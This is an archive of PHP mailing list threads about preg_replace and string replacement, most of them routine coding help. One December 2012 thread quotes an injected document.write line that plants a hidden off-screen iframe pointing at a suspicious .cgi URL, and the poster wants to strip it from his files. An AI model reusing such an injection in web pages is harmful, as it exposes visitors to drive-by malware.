Re: [PHP] preg_replace

2013-11-01 Thread Adam Szewczyk
Hi,

On Fri, Nov 01, 2013 at 11:06:29AM -0400, leam hall wrote:
 Despite my best efforts to ignore preg_replace...
Why? :)

 PHP Warning:  preg_replace(): Delimiter must not be alphanumeric or
 backslash
 
 Thoughts?
You are just using it wrong.
http://us2.php.net/manual/en/regexp.reference.delimiters.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2012-12-12 Thread Simon J Welsh
On 13/12/2012, at 10:08 AM, Curtis Maurand cur...@maurand.com wrote:
 On 12/12/2012 3:47 PM, Maciek Sokolewicz wrote:
 On 12-12-2012 21:10, Curtis Maurand wrote:
 On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote:
 On 12-12-2012 17:11, Curtis Maurand wrote:
 
 First of all, why do you want to use preg_replace when you're not
 actually using regular expressions??? Use str_replace or stri_replace
 instead.
 
 Aside from that, escapeshellarg() escapes strings for use in shell
 execution. Perl Regexps are not shell commands. It's like using
 mysqli_real_escape_string() to escape arguments for URLs. That doesn't
 compute, just like your way doesn't either.
 
 If you DO wish to escape arguments for a regular expression, use
 preg_quote instead, that's what it's there for. But first, reconsider
 using preg_replace, since I honestly don't think you need it at all if
 the way you've posted
 (preg_replace(escapeshellarg($string),$replacement)) is the way you
 want to use it.
 Thanks for your response.  I'm open to to using str_replace.  no issue
 there.  my main question was how to properly get a string of javascript
 into a string that could then be processed.  I'm not sure I can just put
 that in quotes and have it work.There are colons, ,,
 semicolons, and doublequotes.  Do I just need to rifle through the
 string and escape the reserved characters or is there a function for that?
 
 --C
 
 Why do you want to escape them? There are no reserved characters in the case 
 of str_replace. You don't have to put anything in quotes. For example:
 
 $string = 'This is a string with various supposedly reserved ``\\ _- 
 characters'
 echo str_replace('supposedly', 'imaginary', $string)
 would return:
 This is a string with imaginary reserved ``\\- characters
 
 So... why do you want to escape these characters?
 
 So what about things like quotes within the string or semi-colons, colons and 
 slashes?  Don't these need to be escaped when you're loading a string into a 
 variable?
 
 ;document.write('iframe width=50 height=50 
 style=width:100px;height:100px;position:absolute;left:-100px;top:0; 
 src=http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8;/iframe');
 
 I need to enclose this entire string and replace it with 
 
 Thanks


The only thing you have to worry about is quotes characters. Assuming you're 
running 5.3+, just use now docs 
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).

$String = 'STRING'
;document.write('iframe width=50 height=50 
style=width:100px;height:100px;position:absolute;left:-100px;top:0; 
src=http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8;/iframe');
STRING;
---
Simon Welsh
Admin of http://simon.geek.nz/



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2011-01-25 Thread Merlin Morgenstern

Am 24.01.2011 18:08, schrieb Alex Nikitin:

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


?php
function internal_links($str, $links, $limit=-1) {
$pattern=array();
$replace=array();
$k=0;
foreach($links AS $link){
$pattern[$k] = ~\b({$link['phrase']})\b~i;
$replace[$k] = 'a href='.$link['link'].'\\1/a';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

echo internal_links(süße knuffige Beagle Welpen ab sofort,
array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;)), -1);

Output:
süße knuffigea href=http://google.com;Beagle/a  a href=
http://wolframalpha.com;Welpen/a  ab

~Alex



Hello,

thank you all for your help. It seems that I am building the array 
wrong. Your code works with that array:


$internal_links = array(array('phrase'=beagle, 
'link'=http://google.com;),array('phrase'=welpen, 
'link'=http://wolframalpha.com;));


I am pulling the data out of a DB and am using this code:
while ($row = mysql_fetch_object($result)){ 
$internal_links[$row-ID]['phrase'] = $row-phrase;
$internal_links[$row-ID]['link'] = $row-link;
}   

You build the array different, could you help me to adapt this on my 
code? I tried $internal_links['phrase'][] as well, but that did not help 
either.


Thank you for any help,

Merlin

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2011-01-25 Thread Merlin Morgenstern

Am 25.01.2011 12:31, schrieb Merlin Morgenstern:

Am 24.01.2011 18:08, schrieb Alex Nikitin:

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


?php
function internal_links($str, $links, $limit=-1) {
$pattern=array();
$replace=array();
$k=0;
foreach($links AS $link){
$pattern[$k] = ~\b({$link['phrase']})\b~i;
$replace[$k] = 'a href='.$link['link'].'\\1/a';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

echo internal_links(süße knuffige Beagle Welpen ab sofort,
array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;)), -1);

Output:
süße knuffigea href=http://google.com;Beagle/a a href=
http://wolframalpha.com;Welpen/a ab

~Alex



Hello,

thank you all for your help. It seems that I am building the array
wrong. Your code works with that array:

$internal_links = array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;));

I am pulling the data out of a DB and am using this code:
while ($row = mysql_fetch_object($result)){
$internal_links[$row-ID]['phrase'] = $row-phrase;
$internal_links[$row-ID]['link'] = $row-link;
}

You build the array different, could you help me to adapt this on my
code? I tried $internal_links['phrase'][] as well, but that did not help
either.

Thank you for any help,

Merlin



HI Again :-)

the building of my array seems fine. Here is what goes wrong:

If you use this array: 	$internal_links = array(array('phrase'=Beagle 
Welpen, 'link'=http://wolframalpha.com;), array('phrase'=Welpen, 
'link'=http://google.com;));


Then it will fail as well. This is because the function will replace 
Beagle Welpen with the hyperlink and after that replace the word 
welpen inside the hyperlink again with a hyperlink.


Is there a function which will not start looking for the words at the 
beginnning of the text for each replacement, but simply continue where 
it did the last replacement?


Thank you for any help,

Merlin

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2011-01-25 Thread Richard Quadling
On 25 January 2011 12:04, Merlin Morgenstern merli...@fastmail.fm wrote:
 Am 25.01.2011 12:31, schrieb Merlin Morgenstern:

 Am 24.01.2011 18:08, schrieb Alex Nikitin:

 If you declare your arrays, and set k to 0 first, put quotes around array
 values and use the correct limit (you can default to -1), you will get
 results, here is code and example (hopefully this helps you)


 ?php
 function internal_links($str, $links, $limit=-1) {
 $pattern=array();
 $replace=array();
 $k=0;
 foreach($links AS $link){
 $pattern[$k] = ~\b({$link['phrase']})\b~i;
 $replace[$k] = 'a href='.$link['link'].'\\1/a';
 $k++;
 }
 return preg_replace($pattern,$replace,$str, $limit);
 }

 echo internal_links(süße knuffige Beagle Welpen ab sofort,
 array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;)), -1);

 Output:
 süße knuffigea href=http://google.com;Beagle/a a href=
 http://wolframalpha.com;Welpen/a ab

 ~Alex


 Hello,

 thank you all for your help. It seems that I am building the array
 wrong. Your code works with that array:

 $internal_links = array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;));

 I am pulling the data out of a DB and am using this code:
 while ($row = mysql_fetch_object($result)){
 $internal_links[$row-ID]['phrase'] = $row-phrase;
 $internal_links[$row-ID]['link'] = $row-link;
 }

 You build the array different, could you help me to adapt this on my
 code? I tried $internal_links['phrase'][] as well, but that did not help
 either.

 Thank you for any help,

 Merlin


 HI Again :-)

 the building of my array seems fine. Here is what goes wrong:

 If you use this array:  $internal_links = array(array('phrase'=Beagle
 Welpen, 'link'=http://wolframalpha.com;), array('phrase'=Welpen,
 'link'=http://google.com;));

 Then it will fail as well. This is because the function will replace Beagle
 Welpen with the hyperlink and after that replace the word welpen inside
 the hyperlink again with a hyperlink.

 Is there a function which will not start looking for the words at the
 beginnning of the text for each replacement, but simply continue where it
 did the last replacement?

 Thank you for any help,

 Merlin

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



The solution I've used in the past for this sort of issue (recursive
replacements when not wanted) is to replace each known part with a
unique placeholder.

Once the initial data has been analysed and the placeholders are in
place, then replace the placeholders with the correct value.

So, rather than ...

$internal_links = array
(
array('phrase'=Beagle Welpen, 'link'=http://wolframalpha.com;),
array('phrase'=Welpen, 'link'=http://google.com;)
);

Use ...

$internal_links = array
(
array('phrase'='Beagle Welpen', 'link'='_RAQ_TAG_1_'),
array('phrase'='Welpen','link'='_RAQ_TAG_2_'),
array('phrase'='_RAQ_TAG_1_''link'='http://wolframalpha.com'),
array('phrase'='_RAQ_TAG_2_''link'='http://google.com'),
);

By keeping them in the above order, each phrase will be replaced in
the same way.

Obviously, if your text includes _RAQ_TAG_1_ or _RAQ_TAG_2_ then you
will have to use more appropriate tags.

Richard.

-- 
Richard Quadling
Twitter : EE : Zend
@RQuadling : e-e.com/M_248814.html : bit.ly/9O8vFY

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2011-01-25 Thread Alex Nikitin
$internal_links=array();

I prefer to init arrays, it also avoids unnecessary notices, and sometimes
weird results, but either one of those while loops should make the desired
array

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
 { array_push($internal_links, array('phrase'=$row['phrase'],
'link'=$row['link'])); }
or

while($row = mysql_fetch_array($result, MYSQL_ASSOC))  { $internal_links[] =
array('phrase'=$row['phrase'], 'link'=$row['link']); }

or

while($row = mysql_fetch_object($result))  { $internal_links[] =
array('phrase'=$row-phrase,
'link'=$row-link); }

(you can figure out how to do it with array_push if you choose to, but you
get the general idea)


~ Alex

On Jan 25, 2011 6:35 AM, Merlin Morgenstern merli...@fastmail.fm wrote:
 Am 24.01.2011 18:08, schrieb Alex Nikitin:
 If you declare your arrays, and set k to 0 first, put quotes around array
 values and use the correct limit (you can default to -1), you will get
 results, here is code and example (hopefully this helps you)


 ?php
 function internal_links($str, $links, $limit=-1) {
 $pattern=array();
 $replace=array();
 $k=0;
 foreach($links AS $link){
 $pattern[$k] = ~\b({$link['phrase']})\b~i;
 $replace[$k] = 'a href='.$link['link'].'\\1/a';
 $k++;
 }
 return preg_replace($pattern,$replace,$str, $limit);
 }

 echo internal_links(süße knuffige Beagle Welpen ab sofort,
 array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;)), -1);

 Output:
 süße knuffigea href=http://google.com;Beagle/a a href=
 http://wolframalpha.com;Welpen/a ab

 ~Alex


 Hello,

 thank you all for your help. It seems that I am building the array
 wrong. Your code works with that array:

 $internal_links = array(array('phrase'=beagle,
 'link'=http://google.com;),array('phrase'=welpen,
 'link'=http://wolframalpha.com;));

 I am pulling the data out of a DB and am using this code:
 while ($row = mysql_fetch_object($result)){
 $internal_links[$row-ID]['phrase'] = $row-phrase;
 $internal_links[$row-ID]['link'] = $row-link;
 }

 You build the array different, could you help me to adapt this on my
 code? I tried $internal_links['phrase'][] as well, but that did not help
 either.

 Thank you for any help,

 Merlin

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2011-01-24 Thread David Harkness
Without seeing the code that creates the arrays, it's tough to see the
problem. It looks like the first replacement is catching Beagle Welpen
entirely since the closing /a tag gets placed after Welpen. Then the
second replacement does just Welpen.

Also, you should have quotes around link when building the $replace[]
entry since the array access is outside quotes. Finally, you don't need $k
here at all.

   // create internal links
   function internal_links($str, $links, $limit) {
   foreach($links AS $link){
   $pattern[] = ~\b($link[phrase])\b~i;
   $replace[] = 'a href='.$link['link'].'\\1/a';
   }
   return preg_replace($pattern,$replace,$str, $limit);
   }

David


Re: [PHP] preg_replace question

2011-01-24 Thread Alex Nikitin
If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


?php
   function internal_links($str, $links, $limit=-1) {
   $pattern=array();
   $replace=array();
   $k=0;
   foreach($links AS $link){
   $pattern[$k] = ~\b({$link['phrase']})\b~i;
   $replace[$k] = 'a href='.$link['link'].'\\1/a';
   $k++;
   }
   return preg_replace($pattern,$replace,$str, $limit);
   }

echo internal_links(süße knuffige Beagle Welpen ab sofort,
array(array('phrase'=beagle,
'link'=http://google.com;),array('phrase'=welpen,
'link'=http://wolframalpha.com;)), -1);

Output:
süße knuffige a href=http://google.com;Beagle/a a href=
http://wolframalpha.com;Welpen/a ab

~Alex


Re: [PHP] preg_replace question

2011-01-24 Thread Jim Lucas
On 1/24/2011 8:00 AM, Merlin Morgenstern wrote:
 Hi there,
 
 I am trying to replace certain words inside a text with php. Unfortunatelly my
 function is creating invalid html as output.
 
 For example the words beagle and welpen have to be replaced inside this
 text: süße knuffige Beagle Welpen ab sofort
 
 My result looks like this:
 zwei süße knuffige a href=/bsp/hunde,beagleBeagle a
 href=/bsp/hundeWelpen/a/a
 
 The problem is, that my function is not closing the href tag before it starts 
 to
 replace the next item.
 
 Here is the code:
 
 
 // create internal links
 function internal_links($str, $links, $limit) {
 foreach($links AS $link){
 $pattern[$k] = ~\b($link[phrase])\b~i;
 $replace[$k] = 'a href='.$link[link].'\\1/a';
 $k++;
 }
 return preg_replace($pattern,$replace,$str, $limit);
 }
 
 I
 
 
 I could not find a way to fix this and I would be happy for some help. Thank 
 you
 in advance!
 
 Merlin
 

Do you have control over the building of the initial phrase = link assoc?

If so, reverse the order of these two items.

Jim Lucas

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace: avoiding double replacements

2010-05-17 Thread Jim Lucas
Andre Polykanine wrote:
 Hello everyone,
 
 Sorry for bothering you again.
 Today I met a problem exactly described by a developer in users' notes
 that follow the preg_replace description in the manual:
 info at gratisrijden dot nl
 02-Oct-2009 02:48 
 if you are using the preg_replace with arrays, the replacements will apply as 
 subject for the patterns later in the array. This means replaced values can
 be replaced again.
 
 Example:
 ?php
 $text = 
 'We want to replace BOLD with the boldtag and OLDTAG with the newtag';
 
 $patterns 
 = array(
 '/BOLD/i', 
 '/OLDTAG/i');
 $replacements 
 = array(
 'boldtag', 
 'newtag');
 
 echo preg_replace 
 ($patterns, $replacements, $text);
 ?
 
 Output:
 We want to replace bnewtag with the bnewtagtag and newtag with 
 the newtag
 
 Look what happend with BOLD. 
 
 Is there any solution to this besides any two-step sophisticated trick
 like case changing?
 Thanks!
 
 --
 With best regards from Ukraine,
 Andre
 Http://oire.org/ - The Fantasy blogs of Oire
 Skype: Francophile; WlmMSN: arthaelon @ yandex.ru; Jabber: arthaelon @ 
 jabber.org
 Yahoo! messenger: andre.polykanine; ICQ: 191749952
 Twitter: http://twitter.com/m_elensule
 
 

Well, for the example you gave, why use regex?  Check this out as an example.

plaintext?php
$text = 'We want to replace BOLD with the boldtag and OLDTAG with the 
newtag';

$regex = array(
'/BOLD/i',
'/OLDTAG/i',
);
$oldtags = array(
'BOLD',
'OLDTAG',
);
$replacements = array(
'boldtag',
'newtag',
);

# Original String
echo $text.\n;

# After regex is applied
echo preg_replace($regex, $replacements, $text).\n;

# After plain tag replacement happens
echo str_replace($oldtags, $replacements, $text).\n;

?

See if that works for you.

-- 
Jim Lucas

   Some men are born to greatness, some achieve greatness,
   and some have greatness thrust upon them.

Twelfth Night, Act II, Scene V
by William Shakespeare

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace help

2010-01-26 Thread Kim Madsen

Michael A. Peters wrote on 26/01/2010 14:18:

$fixSrch[] = '/\n/';
$fixRplc[] = '[br]';

is what I need except I want it to leave anything between [code] and 
[/code] alone.


I figured it out before but with element /element but I don't even 
remember what I was working on when I did that and I can't for the life 
of me find it now.


Just use the function nl2br()

If you wanna match \n, you need to add a backslash before the 
backslash: \\n


--
Kind regards
Kim Emax - masterminds.dk

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace help

2010-01-26 Thread Michael A. Peters

Kim Madsen wrote:

Michael A. Peters wrote on 26/01/2010 14:18:

$fixSrch[] = '/\n/';
$fixRplc[] = '[br]';

is what I need except I want it to leave anything between [code] and 
[/code] alone.


I figured it out before but with element /element but I don't even 
remember what I was working on when I did that and I can't for the 
life of me find it now.


Just use the function nl2br()

If you wanna match \n, you need to add a backslash before the 
backslash: \\n




No, I do NOT want to use nl2br.
For one thing, nl2br isn't xml safe so I'd have to do another 
preg_replace to fix that. My bbcode parser is xml safe.


For another thing, my bbcode parser doesn't like html in its input, and 
this needs to be done before the parser.


'/\n/','[br]'

works exactly as I want it to right now except I do not want it replace 
the newlines inside [code][/code] as that messes up the syntax 
highlighting that is then done one the code block.


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace help

2010-01-26 Thread Michael A. Peters

Michael A. Peters wrote:

Kim Madsen wrote:

Michael A. Peters wrote on 26/01/2010 14:18:

$fixSrch[] = '/\n/';
$fixRplc[] = '[br]';

is what I need except I want it to leave anything between [code] and 
[/code] alone.


I figured it out before but with element /element but I don't 
even remember what I was working on when I did that and I can't for 
the life of me find it now.


Just use the function nl2br()

If you wanna match \n, you need to add a backslash before the 
backslash: \\n




No, I do NOT want to use nl2br.
For one thing, nl2br isn't xml safe so I'd have to do another 
preg_replace to fix that. My bbcode parser is xml safe.


For another thing, my bbcode parser doesn't like html in its input, and 
this needs to be done before the parser.


'/\n/','[br]'

works exactly as I want it to right now except I do not want it replace 
the newlines inside [code][/code] as that messes up the syntax 
highlighting that is then done one the code block.




I got it, though it may not be the most elegant way.

I split the input up into array and do the preg_replace on array 
elements that are not inside [code]. Seems to work, and also solves the 
other problem (other problem being proper application of strip_tags 
except inside [code].


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace anything that isn't WORD

2009-08-24 Thread tedd

On Sat, Aug 22, 2009 at 12:32 PM, “•ÈýÏݓ•ÂÔdanondan...@gmail.com wrote:

 Lets assume I have the string cats i  saw a cat and a dog
 i want to strip everything except cat and dog so the result will be
 catcatdog,
 using preg_replace.


 I've tried something like /[^(dog|cat)]+/ but no success


  What should I do?


Lot's of ways to skin this cat/dog.

What's wrong with exploding the string using 
spaces and then walking the array looking for cat 
and dog while assembling the resultant string?


Cheers,

tedd


--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace anything that isn't WORD

2009-08-24 Thread hack988 hack988
 Use preg_replace_callback instead!
preg_replace_callback is better performance than preg_replace with /e.
-
code

$str=cats i  saw a cat and a dog;
$str1=preg_replace_callback(/(dog|cat|.)/is,call_replace,$str);
echo $str.BR/;
echo $str1;
function call_replace($match){
 if(in_array($match[0],array('cat','dog')))
  return $match[0];
 else
  return ;
}

2009/8/24 tedd tedd.sperl...@gmail.com:
 On Sat, Aug 22, 2009 at 12:32 PM, “•ÈýÏÝ“•ÂÔdanondan...@gmail.com
wrote:

  Lets assume I have the string cats i  saw a cat and a dog
  i want to strip everything except cat and dog so the result will be
  catcatdog,
  using preg_replace.


  I've tried something like /[^(dog|cat)]+/ but no success

   What should I do?

 Lot's of ways to skin this cat/dog.

 What's wrong with exploding the string using spaces and then walking the
 array looking for cat and dog while assembling the resultant string?

 Cheers,

 tedd


 --
 ---
 http://sperling.com  http://ancientstones.com  http://earthstones.com

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] preg_replace anything that isn't WORD

2009-08-24 Thread Shawn McKenzie
hack988 hack988 wrote:
  Use preg_replace_callback instead!
 preg_replace_callback is better performance than preg_replace with /e.
 -
 code
 
 $str=cats i  saw a cat and a dog;
 $str1=preg_replace_callback(/(dog|cat|.)/is,call_replace,$str);
 echo $str.BR/;
 echo $str1;
 function call_replace($match){
  if(in_array($match[0],array('cat','dog')))
   return $match[0];
  else
   return ;
 }
 
 2009/8/24 tedd tedd.sperl...@gmail.com:
 On Sat, Aug 22, 2009 at 12:32 PM, “•ÈýÏÝ“•ÂÔdanondan...@gmail.com
 wrote:
  Lets assume I have the string cats i  saw a cat and a dog
  i want to strip everything except cat and dog so the result will be
  catcatdog,
  using preg_replace.


  I've tried something like /[^(dog|cat)]+/ but no success

   What should I do?
 Lot's of ways to skin this cat/dog.

 What's wrong with exploding the string using spaces and then walking the
 array looking for cat and dog while assembling the resultant string?

 Cheers,

 tedd


 --
 ---
 http://sperling.com  http://ancientstones.com  http://earthstones.com

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php


 
Certain posts of mine seem to get sucked into a black hole and I never
see theme.  Maybe because I use this list as a newsgroup?  Anyway, what
I posted before:

Match everything but only replace the backreference for the words:


$s = cats i  saw a cat and a dog;
$r = preg_replace('#.*?(cat|dog).*?#', '\1', $s);

-- 
Thanks!
-Shawn
http://www.spidean.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace anything that isn't WORD

2009-08-24 Thread Jonathan Tapicer
For the record Shawn: I received your previous post from Aug 22 and I
think that it is the best solution.

Jonathan

On Tue, Aug 25, 2009 at 12:41 AM, Shawn McKenzienos...@mckenzies.net wrote:
 hack988 hack988 wrote:
  Use preg_replace_callback instead!
 preg_replace_callback is better performance than preg_replace with /e.
 -
 code

 $str=cats i  saw a cat and a dog;
 $str1=preg_replace_callback(/(dog|cat|.)/is,call_replace,$str);
 echo $str.BR/;
 echo $str1;
 function call_replace($match){
  if(in_array($match[0],array('cat','dog')))
   return $match[0];
  else
   return ;
 }

 2009/8/24 tedd tedd.sperl...@gmail.com:
 On Sat, Aug 22, 2009 at 12:32 PM, “•ÈýÏÝ“•ÂÔdanondan...@gmail.com
 wrote:
  Lets assume I have the string cats i  saw a cat and a dog
  i want to strip everything except cat and dog so the result will be
  catcatdog,
  using preg_replace.


  I've tried something like /[^(dog|cat)]+/ but no success

   What should I do?
 Lot's of ways to skin this cat/dog.

 What's wrong with exploding the string using spaces and then walking the
 array looking for cat and dog while assembling the resultant string?

 Cheers,

 tedd


 --
 ---
 http://sperling.com  http://ancientstones.com  http://earthstones.com

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



 Certain posts of mine seem to get sucked into a black hole and I never
 see theme.  Maybe because I use this list as a newsgroup?  Anyway, what
 I posted before:

 Match everything but only replace the backreference for the words:


 $s = cats i  saw a cat and a dog;
 $r = preg_replace('#.*?(cat|dog).*?#', '\1', $s);

 --
 Thanks!
 -Shawn
 http://www.spidean.com


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace with UTF-8

2009-07-06 Thread Georgi Alexandrov
On Mon, Jul 6, 2009 at 4:54 AM, SleePy sleepingkil...@gmail.com wrote:

 I seem to be having a minor issue with preg_replace not working as expected
 when using UTF-8 strings. So far I have found out that \w doesn't seem to be
 detecting UTF-8 strings.

 This is my test php file:
 ?php
 $data = 'ooo';
 echo 'Data before: ', $data, 'br /';

 $data = preg_replace('~([\w\.]{6})~u', '$1  ', $data);
 echo 'Data After: ', $data;

 // UTF-8 Test
 $data = 'ффф';
 echo 'hr /Data before: ', $data, 'br /';

 $data = preg_replace('~([\w\.]{6})~u', '$1  ', $data);
 echo 'Data After: ', $data;

 ?


 I would expect it to be:
 Data before: ooo
 Data After: oo  oo  oo  o
 ---
 Data before: ффф
 Data After: фф фф фф ф

 But what I get is:
 Data before: ooo
 Data After: oo  oo  oo  o
 ---
 Data before: ффф
 Data After: ффф

 Did I go about this the wrong way or is this a php bug itself?
 I tested this in php 5.3, 5.2.9 and 6.0 (snapshot from a couple weeks ago)
 and received the same results.


Did you tried mb_ereg_replace?





 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] preg_replace with UTF-8

2009-07-06 Thread SleePy

Thank you Andrew,
That seems to break up UTF-8 strings. So from there I will play with it.

On Jul 6, 2009, at 8:50 AM, Andrew Ballard wrote:

On Sun, Jul 5, 2009 at 9:54 PM, SleePysleepingkil...@gmail.com  
wrote:
I seem to be having a minor issue with preg_replace not working as  
expected
when using UTF-8 strings. So far I have found out that \w doesn't  
seem to be

detecting UTF-8 strings.

This is my test php file:
?php
$data = 'ooo';
echo 'Data before: ', $data, 'br /';

$data = preg_replace('~([\w\.]{6})~u', '$1  ', $data);
echo 'Data After: ', $data;

// UTF-8 Test
$data = 'ффф';
echo 'hr /Data before: ', $data, 'br /';

$data = preg_replace('~([\w\.]{6})~u', '$1  ', $data);
echo 'Data After: ', $data;

?


I would expect it to be:
Data before: ooo
Data After: oo  oo  oo  o
---
Data before: ффф
Data After: фф фф фф ф

But what I get is:
Data before: ooo
Data After: oo  oo  oo  o
---
Data before: ффф
Data After: ффф

Did I go about this the wrong way or is this a php bug itself?
I tested this in php 5.3, 5.2.9 and 6.0 (snapshot from a couple  
weeks ago)

and received the same results.


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




From the manual on PCRE syntax:
A 'word' character is any letter or digit or the underscore
character, that is, any character which can be part of a Perl 'word'.
The definition of letters and digits is controlled by PCRE's character
tables, and may vary if locale-specific matching is taking place. For
example, in the 'fr' (French) locale, some character codes greater
than 128 are used for accented letters, and these are matched by \w.

These character type sequences can appear both inside and outside
character classes. They each match one character of the appropriate
type. If the current matching point is at the end of the subject
string, all of them fail, since there is no character to match.

I'm not sure if this is exactly what you want (or if it might let more
things slip past than you intend), but try this:

?php
$data = 'ooo';
echo 'Data before: ', $data, 'br /';

$data = preg_replace('~([\w\pL\.]{6})~u', '$1  ', $data);
echo 'Data After: ', $data;

// UTF-8 Test
$data = 'ффф';
echo 'hr /Data before: ', $data, 'br /';

$data = preg_replace('~([\w\pL\.]{6})~u', '$1  ', $data);
echo 'Data After: ', $data;

?

Andrew



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] preg_replace

2009-06-05 Thread Ben Miller
Oh yeah - not sure if spaces are considered alphanumeric or not, but I need
to keep spaces - replacing anything that is NOT a letter, a number or a
space.  Thanks again.

-Original Message-
From: Ben Miller [mailto:biprel...@gmail.com] 
Sent: Friday, June 05, 2009 2:09 AM
To: php-general@lists.php.net
Subject: [PHP] preg_replace

I bought PHP  MySQL for DUMMIES and it shows me how to use special 
characters for pattern matching and I've figured out the basics of using 
preg_replace to replace pattern matches.  What I am having trouble with, 
though, is figuring out how to replace anything that does not match the 
pattern.  For example, I want to replace anything that is NOT an 
alphanumeric character.  Any help would be appreciated.  Thanks.

Ben 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace

2009-06-05 Thread Marc Steinert

Hey Ben,

to replace everything thats not alphanumeric, use the following statement:

$output = preg_replace('/[^[:alnum:]]/', '', $input);

Greetings from Germany

Marc

PS: Spaces are not alphanumeric ;)


Ben Miller wrote:

Oh yeah - not sure if spaces are considered alphanumeric or not, but I need
to keep spaces - replacing anything that is NOT a letter, a number or a
space.  Thanks again.

-Original Message-
From: Ben Miller [mailto:biprel...@gmail.com] 
Sent: Friday, June 05, 2009 2:09 AM

To: php-general@lists.php.net
Subject: [PHP] preg_replace

I bought PHP  MySQL for DUMMIES and it shows me how to use special 
characters for pattern matching and I've figured out the basics of using 
preg_replace to replace pattern matches.  What I am having trouble with, 
though, is figuring out how to replace anything that does not match the 
pattern.  For example, I want to replace anything that is NOT an 
alphanumeric character.  Any help would be appreciated.  Thanks.


Ben 






--
Synchronize and share your files over the web for free
http://bithub.net/

My Twitter feed
http://twitter.com/MarcSteinert





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() question

2009-03-18 Thread Richard Heyes
 1. What is the overhead on preg_replace?

Minimal. If you're looking for all the speed you can get, you'd
probably be better off with an str* function though if you can find
one. You'd have to be seriously after speed gains though.

 2. Is there a better way to strip spaces and non alpha numerical
 characters from text strings? I suspect not...

Have a look through the string functions. the ctype_* functions too.
See if one fits your needs.

-- 
Richard Heyes

HTML5 Canvas graphing for Firefox, Chrome, Opera and Safari:
http://www.rgraph.net (Updated March 14th)

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() question

2009-03-18 Thread Virgilio Quilario
 1. What is the overhead on preg_replace?

it really depends on your operation. when you think it can be done
using str* functions then go for it as they are much faster than preg*
functions.

 2. Is there a better way to strip spaces and non alpha numerical
 characters from text strings? I suspect not... maybe the Shadow does ???

if those characters are in the middle, preg_replace is the right function.


virgil
http://www.jampmark.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() question

2009-03-18 Thread Robert Cummings
On Wed, 2009-03-18 at 22:55 +0800, Virgilio Quilario wrote:
  1. What is the overhead on preg_replace?
 
 it really depends on your operation. when you think it can be done
 using str* functions then go for it as they are much faster than preg*
 functions.
 
